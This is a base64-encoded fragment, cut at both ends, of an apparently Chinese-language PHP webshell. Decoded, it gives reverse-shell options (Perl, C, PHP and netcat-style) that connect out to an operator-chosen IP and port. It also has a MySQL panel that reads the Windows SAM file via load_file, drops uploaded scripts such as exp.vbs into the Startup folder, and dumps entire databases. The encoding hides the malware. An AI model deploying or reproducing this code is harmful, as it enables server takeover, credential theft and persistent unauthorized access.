zPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJzaG93IiBzdHlsZT0id2lkdGg6NjYwcHg7aGVpZ2h0OjM5OXB4OyI+eyRyZXN9PC90ZXh0YXJlYT48L2Rpdj48L2NlbnRlcj4KPC9mb3JtPgpFTkQ7CglicmVhazsKCgoKY2FzZSAibGludXgiOgoJCgkkeW91cmlwID0gaXNzZXQoJF9QT1NUWyd5b3VyaXAnXSkgPyAkX1BPU1RbJ3lvdXJpcCddIDogZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJJHlvdXJwb3J0ID0gaXNzZXQoJF9QT1NUWyd5b3VycG9ydCddKSA/ICRfUE9TVFsneW91cnBvcnQnXSA6ICcxMjY2Nic7Cgkkc3lzdGVtPXN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPuS9v+eUqOaWueazle+8mjxicj4KCQkJ5YWI5Zyo6Ieq5bex55S16ISR6L+Q6KGMIm5jIC12diAtbCAxMjY2NiI8YnI+CgkJCeeEtuWQjuWcqOatpOWhq+WGmeS9oOeUteiEkeeahElQLOeCuei/nuaOpe+8geatpOWPjeW8ueW+iOWFqOW+iOWunueUqO+8geWMheaLrE5D5Y+N5by577yBPC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+5L2g55qE5Zyw5Z2AIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ5b3VyaXAiIHZhbHVlPSJ7JHlvdXJpcH0iIHN0eWxlPSJ3aWR0aDo0MDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+6L+e5o6l56uv5Y+jIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ5b3VycG9ydCIgdmFsdWU9IjEyNjY2IiBzdHlsZT0id2lkdGg6NDAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPuaJp+ihjOaWueW8jyA8c2VsZWN0IG5hbWU9InVzZSIgPgo8b3B0aW9uIHZhbHVlPSJwZXJsIj5QZXJsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImMiPkM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icGhwIj5QSFA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ibmMiPk5DPC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLlvIDlp4vov57mjqUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPgpFTkQ7CglpZigoIWVtcHR5KCRfUE9TVFsneW91cmlwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsneW91cnBvcnQnXSkpKQoJewoJCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwoJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKQoJCXsKCQkJJGJhY2tfY29ubmVjdF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuCgkJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4KCQkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuCgkJCSJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4KCQkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7CgkJCWVjaG8gRmlsZV9Xcml0ZSgnL3RtcC9lbnZsX2JjJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCd3YicpID8gJ+WIm+W7ui90bXAvZW52bF9iY+aIkOWKnzxicj4nIDogJ+WIm+W7ui90bXAvZW52bF9iY+Wksei0pTxicj4nOwoJCQkkcGVybHBhdGggPSBFeGVjX1J1bignd2hpY2ggcGVybCcpOwoJCQkkcGVybHBhdGggPSAkcGVybHBhdGggPyBjaG9wKCRwZXJscGF0aCkgOiAncGVybCc7CgkJCUB1bmxpbmsoJy90bXAvZW52bF9iYy5jJyk7CgkJCWVjaG8gRXhlY19SdW4oJHBlcmxwYXRoLicgL3RtcC9lbnZsX2JjICcuJF9QT1NUWyd5b3VyaXAnXS4nICcuJF9QT1NUWyd5b3VycG9ydCddLicgJicpID8gJ25jIC12diAtbCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfmiafooYzlkb3ku6TlpLHotKUnOwoJCX0KCQlpZigkX1BPU1RbJ3VzZSddID09ICdjJykKCQl7CgkJCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCQkiQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuCgkJCSJTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkIi4KCQkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCQkic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQyIuCgkJCSJBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEIi4KCQkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCQkiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOwoJCQllY2hvIEZpbGVfV3JpdGUoJy90bXAvZW52bF9iYy5jJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfYyksJ3diJykgPyAn5Yib5bu6L3RtcC9lbnZsX2JjLmPmiJDlip88YnI+JyA6ICfliJvlu7ovdG1wL2VudmxfYmMuY+Wksei0pTxicj4nOwoJCQkkcmVzID0gRXhlY19SdW4oJ2djYyAtbyAvdG1wL2VudmxfYmMgL3RtcC9lbnZsX2JjLmMnKTsKCQkJQHVubGluaygnL3RtcC9lbnZsX2JjLmMnKTsKCQkJZWNobyBFeGVjX1J1bignL3RtcC9lbnZsX2JjICcuJF9QT1NUWyd5b3VyaXAnXS4nICcuJF9QT1NUWyd5b3VycG9ydCddLicgJicpID8gJ25jIC12diAtbCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfmiafooYzlkb3ku6TlpLHotKUnOwoJCX0KCQlpZigkX1BPU1RbJ3VzZSddID09ICdwaHAnKQoJCXsKCQlpZighZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpKQogICAgICAgICAgIHsKCSAgICAgICAgaWYgKCRzeXN0ZW0gPT0gJ1dJTicpIHsKCQkgICAgICAgIEBkbCgncGhwX3NvY2tldHMuZGxsJykgb3IgZGllKCJDYW4ndCBsb2FkIHNvY2tldCIpOwoJICAgICAgICB9ZWxzZXsKCSAgICAJICAgIEBkbCgnc29ja2V0cy5zbycpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTsKCSAgICAgICAgfQogICAgICAgICAgIH0KCQkgICBpZigkc3lzdGVtPT0iV0lOIikKICAgICAgICAgICB7CiAgICAgICAgIAkkZW52PWFycmF5KCdwYXRoJyA9PiAnYzpcXHdpbmRvd3NcXHN5c3RlbTMyJyk7CiAgICAgICAgICAgIH1lbHNlewoJICAgICAgICAkZW52ID0gYXJyYXkoJ1BBVEgnID0+ICcvYmluOi91c3IvYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW4nKTsKICAgICAgICAgICB9CiAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCiAgICAgICAgIAkwID0+IGFycmF5KCJwaXBlIiwiciIpLAoJICAgICAgICAxID0+IGFycmF5KCJwaXBlIiwidyIpLAoJICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwidyIpLAogICAgICAgICAgICk7CgkJICAgJGhvc3QgPSAkX1BPU1RbJ3lvdXJpcCddOwogICAgICAgCSAgICRwb3J0ID0gJF9QT1NUWyd5b3VycG9ydCddOwogICAgICAgICAgICRob3N0PWdldGhvc3RieW5hbWUoJGhvc3QpOwogICAgICAgICAgICRwcm90bz1nZXRwcm90b2J5bmFtZSgidGNwIik7CiAgICAgICAgICAgaWYoKCRzb2NrPXNvY2tldF9jcmVhdGUoQUZfSU5FVCxTT0NLX1NUUkVBTSwkcHJvdG8pKTwwKXsKICAgICAgICAgICAgIGRpZSgiU29ja2V05Yib5bu65aSx6LSlIik7CiAgICAgICAgICAgfQogICAgICAgICAgIGlmKCgkcmV0PXNvY2tldF9jb25uZWN0KCRzb2NrLCRob3N0LCRwb3J0KSk8MCl7CiAgICAgICAgICAgICBkaWUoIui/nuaOpeWksei0pSIpOwogICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgJG1lc3NhZ2U9Ii0tLS0tLS0tLS0tLS0tLS0tLS0tLS1QSFDlj43lvLnov57mjqUtLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsKICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywkbWVzc2FnZSxzdHJsZW4oJG1lc3NhZ2UpKTsKICAgICAgICAgICAgICRjd2Q9c3RyX3JlcGxhY2UoJ1xcJywnLycsZGlybmFtZShfX0ZJTEVfXykpOwogICAgICAgICAgICAgd2hpbGUoJGNtZD1zb2NrZXRfcmVhZCgkc29jayw2NTUzNSwkcHJvdG8pKXsKICAgICAgICAgICAgICAgIGlmKHRyaW0oc3RydG9sb3dlcigkY21kKSk9PSJleGl0Iil7CiAgICAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssIkJ5ZVxuIik7CiAgICAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcywgJGN3ZCwgJGVudik7CiAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkgICAgICAgICAgICAgICAgZndyaXRlKCRwaXBlc1swXSwgJGNtZCk7CgkgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7CgkgICAgICAgICAgICAgICAgJG1zZz1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7CgkgICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRzb2NrLCRtc2csc3RybGVuKCRtc2cpKTsKCSAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKCSAgICAgICAgICAgICAgICAkbXNnPXN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTsKCSAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssJG1zZyxzdHJsZW4oJG1zZykpOwoJICAgICAgICAgICAgICAgICRyZXR1cm5fdmFsdWUgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCQkgICB9CgkJICB9CgkJfQoJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ25jJykKCQl7CgkgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkgJG1pcD0kX1BPU1RbJ3lvdXJpcCddOwoJCSAkYnBvcnQ9JF9QT1NUWyd5b3VycG9ydCddOwoJCSAkZnA9ZnNvY2tvcGVuKCRtaXAgLCAkYnBvcnQgLCAkZXJybm8sICRlcnJzdHIpOwoJCSBpZiAoISRmcCl7CgkJICAgICAkcmVzdWx0ID0gIkVycm9yOiBjb3VsZCBub3Qgb3BlbiBzb2NrZXQgY29ubmVjdGlvbiI7CgkJICAgIH1lbHNlIHsKCQkgZnB1dHMgKCRmcCAsIlxuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG4gCgkJICAgICAgICAgICAgICBoYWNraW5nIHVybDpodHRwOi8vd3d3LmhhY2toYXQubmV0IGlzIG9rISAgICAgICAgCgkJCSAgICAgICAgICBcbioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxuXG4iKTsKCSAgICAgd2hpbGUoIWZlb2YoJGZwKSl7IAogICAgICAgICBmcHV0cyAoJGZwLCIgW3IwMHRASDRjM2luZzovcm9vdF0jICIpOwogICAgICAgICAkcmVzdWx0PSBmZ2V0cyAoJGZwLCA0MDk2KTsKICAgICAgICAgJG1lc3NhZ2U9YCRyZXN1bHRgOwogICAgICAgICBmcHV0cyAoJGZwLCItLT4gIi4kbWVzc2FnZS4iXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgIGZjbG9zZSAoJGZwKTsKCQkgICAgICAgfQogICAgICAgICBlY2hvICc8L2Rpdj4nOwoJCX0KCgkJZWNobyAnPGJyPuS9oOWPr+S7peWwneivlei/nuaOpeerr+WPoyAobmMgLXZ2IC1sICcuJF9QT1NUWyd5b3VycG9ydCddLicpICc7Cgl9CmJyZWFrOwoKCWNhc2UgInNxbHNoZWxsIjoKCSRNU0dfQk9YID0gJyc7CgkkbWhvc3QgPSAnbG9jYWxob3N0JzsgJG11c2VyID0gJ3Jvb3QnOyAkbXBvcnQgPSAnMzMwNic7ICRtcGFzcyA9ICcnOyAkbWRhdGEgPSAnbXlzcWwnOyAkbXNxbCA9ICdzZWxlY3QgdmVyc2lvbigpOyc7CglpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpCgl7CgkJJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOyAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107ICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsgJG1kYXRhID0gJF9QT1NUWydtZGF0YSddOyAkbXBvcnQgPSAkX1BPU1RbJ21wb3J0J107CgkJaWYoJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpKSBAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7CgkJZWxzZSAkTVNHX0JPWCA9ICfov57mjqVNWVNRTOWksei0pSc7Cgl9CgkkZG93bmZpbGUgPSAnYzovd2luZG93cy9yZXBhaXIvc2FtJzsKCWlmKCFlbXB0eSgkX1BPU1RbJ2Rvd25maWxlJ10pKQoJewoJCSRkb3duZmlsZSA9IEZpbGVfU3RyKCRfUE9TVFsnZG93bmZpbGUnXSk7CgkJJGJpbnBhdGggPSBiaW4yaGV4KCRkb3duZmlsZSk7CgkJJHF1ZXJ5ID0gJ3NlbGVjdCBsb2FkX2ZpbGUoMHgnLiRiaW5wYXRoLicpJzsKCQlpZigkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpCgkJewoJCQkkayA9IDA7ICRkb3duY29kZSA9ICcnOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskZG93bmNvZGUgLj0gJHJvd1ska107JGsrKzt9CgkJCSRmaWxlZG93biA9IGJhc2VuYW1lKCRkb3duZmlsZSk7CgkJCWlmKCEkZmlsZWRvd24pICRmaWxlZG93biA9ICdlbnZsLnRtcCc7CgkJCSRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOwoJCQkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsKCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kYXJyYXllbmQpOwoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVkb3duKTsKCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5zdHJsZW4oJGRvd25jb2RlKSk7CgkJCWVjaG8gJGRvd25jb2RlOwoJCQlleGl0OwoJCX0KCQllbHNlICRNU0dfQk9YID0gJ+S4i+i9veaWh+S7tuWksei0pSc7Cgl9CgkkbyA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICcnOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im5mb3JtIiBpZD0ibmZvcm0iPgo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP2VhbnZlcj1zcWxzaGVsbCI+W01ZU1FM5omn6KGM6K+t5Y+lXTwvYT4gCjxhIGhyZWY9Ij9lYW52ZXI9c3Fsc2hlbGwmbz11Ij5bTVlTUUzkuIrkvKDmlofku7ZdPC9hPiAKPGEgaHJlZj0iP2VhbnZlcj1zcWxzaGVsbCZvPWQiPltNWVNRTOS4i+i9veaWh+S7tl08L2E+CjxhIGhyZWY9Ij9lYW52ZXI9c3Fsc2hlbGwmbz10ayI+W01ZU1FM6ISx6KOk5aSH5Lu9XTwvYT4gPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+CuWcsOWdgCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K56uv5Y+jIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrnlKjmiLcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im11c2VyIiB2YWx1ZT0ieyRtdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CuWvhueggSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K5bqT5ZCNIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjIyMHB4OyI+CkVORDsKaWYoJG8gPT0gJ3UnKQp7CgkkdXBwYXRoID0gJ0M6L0RvY3VtZW50cyBhbmQgU2V0dGluZ3MvQWxsIFVzZXJzL+OAjOW8gOWni+OAjeiPnOWNlS/nqIvluo8v5ZCv5YqoL2V4cC52YnMnOwoJaWYoIWVtcHR5KCRfUE9TVFsndXBwYXRoJ10pKQoJewoJCSR1cHBhdGggPSAkX1BPU1RbJ3VwcGF0aCddOwoJCSRxdWVyeSA9ICdDcmVhdGUgVEFCTEUgYSAoY21kIHRleHQgTk9UIE5VTEwpOyc7CgkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpCgkJewoJCQlpZigkdG1wY29kZSA9IEZpbGVfUmVhZCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpeyRmaWxlY29kZSA9IGJpbjJoZXgoRmlsZV9SZWFkKCR0bXBjb2RlKSk7fQoJCQllbHNleyR0bXAgPSBGaWxlX1N0cihkaXJuYW1lKG15YWRkcmVzcykpLicvdXBmaWxlLnRtcCc7aWYoRmlsZV9VcCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSwkdG1wKSl7JGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcCkpO0B1bmxpbmsoJHRtcCk7fX0KCQkJJHF1ZXJ5ID0gJ0luc2VydCBJTlRPIGEgKGNtZCkgVkFMVUVTKENPTlZFUlQoMHgnLiRmaWxlY29kZS4nLENIQVIpKTsnOwoJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkKCQkJewoJCQkJJHF1ZXJ5ID0gJ1NFTEVDVCBjbWQgRlJPTSBhIElOVE8gRFVNUEZJTEUgXCcnLiR1cHBhdGguJ1wnOyc7CgkJCQkkTVNHX0JPWCA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ+S4iuS8oOaWh+S7tuaIkOWKnycgOiAn5LiK5Lyg5paH5Lu25aSx6LSlJzsKCQkJfQoJCQllbHNlICRNU0dfQk9YID0gJ+aPkuWFpeS4tOaXtuihqOWksei0pSc7CgkJCUBteXNxbF9xdWVyeSgnRHJvcCBUQUJMRSBJRiBFWElTVFMgYTsnLCRjb25uKTsKCQl9CgkJZWxzZSAkTVNHX0JPWCA9ICfliJvlu7rkuLTml7booajlpLHotKUnOwoJfQpwcmludDw8PEVORAo8YnI+PGJyPuS4iuS8oOi3r+W+hCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXBwYXRoIiB2YWx1ZT0ieyR1cHBhdGh9IiBzdHlsZT0id2lkdGg6NTAwcHgiPgo8YnI+PGJyPumAieaLqeaWh+S7tiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBmaWxlIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjIycHg7Ij4KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5LiK5LygIiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7Cn1lbHNlaWYoJG89PSd0aycpewppZigkX1BPU1RbJ2R1bXAnXT09J2R1bXAnKXsKJG15c3FsX2xpbms9QG15c3FsX2Nvbm5lY3QoJG1ob3N0LCRtdXNlciwkbXBhc3MpOwpteXNxbF9zZWxlY3RfZGIoJG1kYXRhKTsKbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyBnYmsiKTsKJG15c3FsPSIiOwokcTE9bXlzcWxfcXVlcnkoInNob3cgdGFibGVzIik7CndoaWxlKCR0PW15c3FsX2ZldGNoX2FycmF5KCRxMSkpewokdGFibGU9JHRbMF07CiRxMj1teXNxbF9xdWVyeSgic2hvdyBjcmVhdGUgdGFibGUgYCR0YWJsZWAiKTsKJHNxbD1teXNxbF9mZXRjaF9hcnJheSgkcTIpOwokbXlzcWwuPSRzcWxbJ0NyZWF0ZSBUYWJsZSddLiI7XHJcblxyXG4iOwokcTM9bXlzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gYCR0YWJsZWAiKTsKd2hpbGUoJGRhdGE9bXlzcWxfZmV0Y2hfYXNzb2MoJHEzKSkKewoka2V5cz1hcnJheV9rZXlzKCRkYXRhKTsKJGtleXM9YXJyYXlfbWFwKCdhZGRzbGFzaGVzJywka2V5cyk7CiRrZXlzPWpvaW4oJ2AsYCcsJGtleXMpOwoka2V5cz0iYCIuJGtleXMuImAiOwokdmFscz1hcnJheV92YWx1ZXMoJGRhdGEpOwokdmFscz1hcnJheV9tYXAoJ2FkZHNsYXNoZXMnLCR2YWxzKTsKJHZhbHM9am9pbigiJywnIiwkdmFscyk7CiR2YWxzPSInIi4kdmFscy4iJyI7CiRteXNxbC49Imluc2VydCBpbnRvIGAkdGFibGVgKCRrZXlzKSB2YWx1ZXMoJHZhbHMpO1xyXG4iOwp9CiRteXNxbC49IlxyXG4iOwp9CiRmaWxlbmFtZT1kYXRlKCJZLW0tZC1HaXNBIikuIi5zcWwiOwokZnA9Zm9wZW4oJGZpbGVuYW1lLCd3Jyk7CmZwdXRzKCRmcCwkbXlzcWwpOwpmY2xvc2UoJGZwKTsKJHRpcD0iPGJyPjxjZW50ZXI+5pWw5o2u5aSH5Lu95oiQ5Yqf77yM54K55Ye75LiL6L295pWw5o2u5bqT5paH5Lu277yaWzxhIGhyZWY9XCIiLiRmaWxlbmFtZS4iXCIgdGl0bGU9XCLngrnlh7vkuIvovb1cIj4iLiRmaWxlbmFtZS4iPC9hPl08L2NlbnRlcj4iOwp9ZWxzZXskdGlwPSLlsJrmnKrlpIfku73vvIzkv53or4HmnKznqIvluo/miYDlnKjnm67lvZXlj6/lhpkiO30KcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP3M9biZvPXRrIj48YnI+Cuivt+aFjueUqOacrOWKn+iDve+8jOaVsOaNruW6k+i/h+Wkp+WwhumAoOaIkOacjeWKoeWZqOWuleacuuetieaDheWGtSA6LSg8YnI+PGJyPgp7JHRpcH08YnI+PGJyPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iZHVtcCIgbmFtZT0iZHVtcCIgaWQ9ImR1bXAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5LiA6ZSu5aSH5Lu9IiB0aWx0ZT0iU3VibWl0IiBzdHlsZT0id2lkdGg6MTIwcHg7aGVpZ2h0OjY0cHg7Ij4KPC9mb3JtPjxkaXY+CkVORDsKfQplbHNlaWYoJG8gPT0gJ2QnKQp7CnByaW50PDw8RU5ECjxicj48YnI+PGJyPuS4i+i9veaWh+S7tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZG93bmZpbGUiIHZhbHVlPSJ7JGRvd25maWxlfSIgc3R5bGU9IndpZHRoOjUwMHB4Ij4KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5LiL6L29IiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7Cn0KZWxzZQp7CglpZighZW1wdHkoJF9QT1NUWydtc3FsJ10pKQoJewoJCSRtc3FsID0gJF9QT1NUWydtc3FsJ107CgkJaWYoJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkbXNxbCwkY29ubikpCgkJewoJCQkkTVNHX0JPWCA9ICfmiafooYxTUUzor63lj6XmiJDlip88YnI+JzsKCQkJJGsgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskTVNHX0JPWCAuPSAkcm93WyRrXTskaysrO30KCQl9CgkJZWxzZSAkTVNHX0JPWCAuPSBteXNxbF9lcnJvcigpOwoJfQpwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gbkZ1bGwoaSl7CglTdHIgPSBuZXcgQXJyYXkoMTEp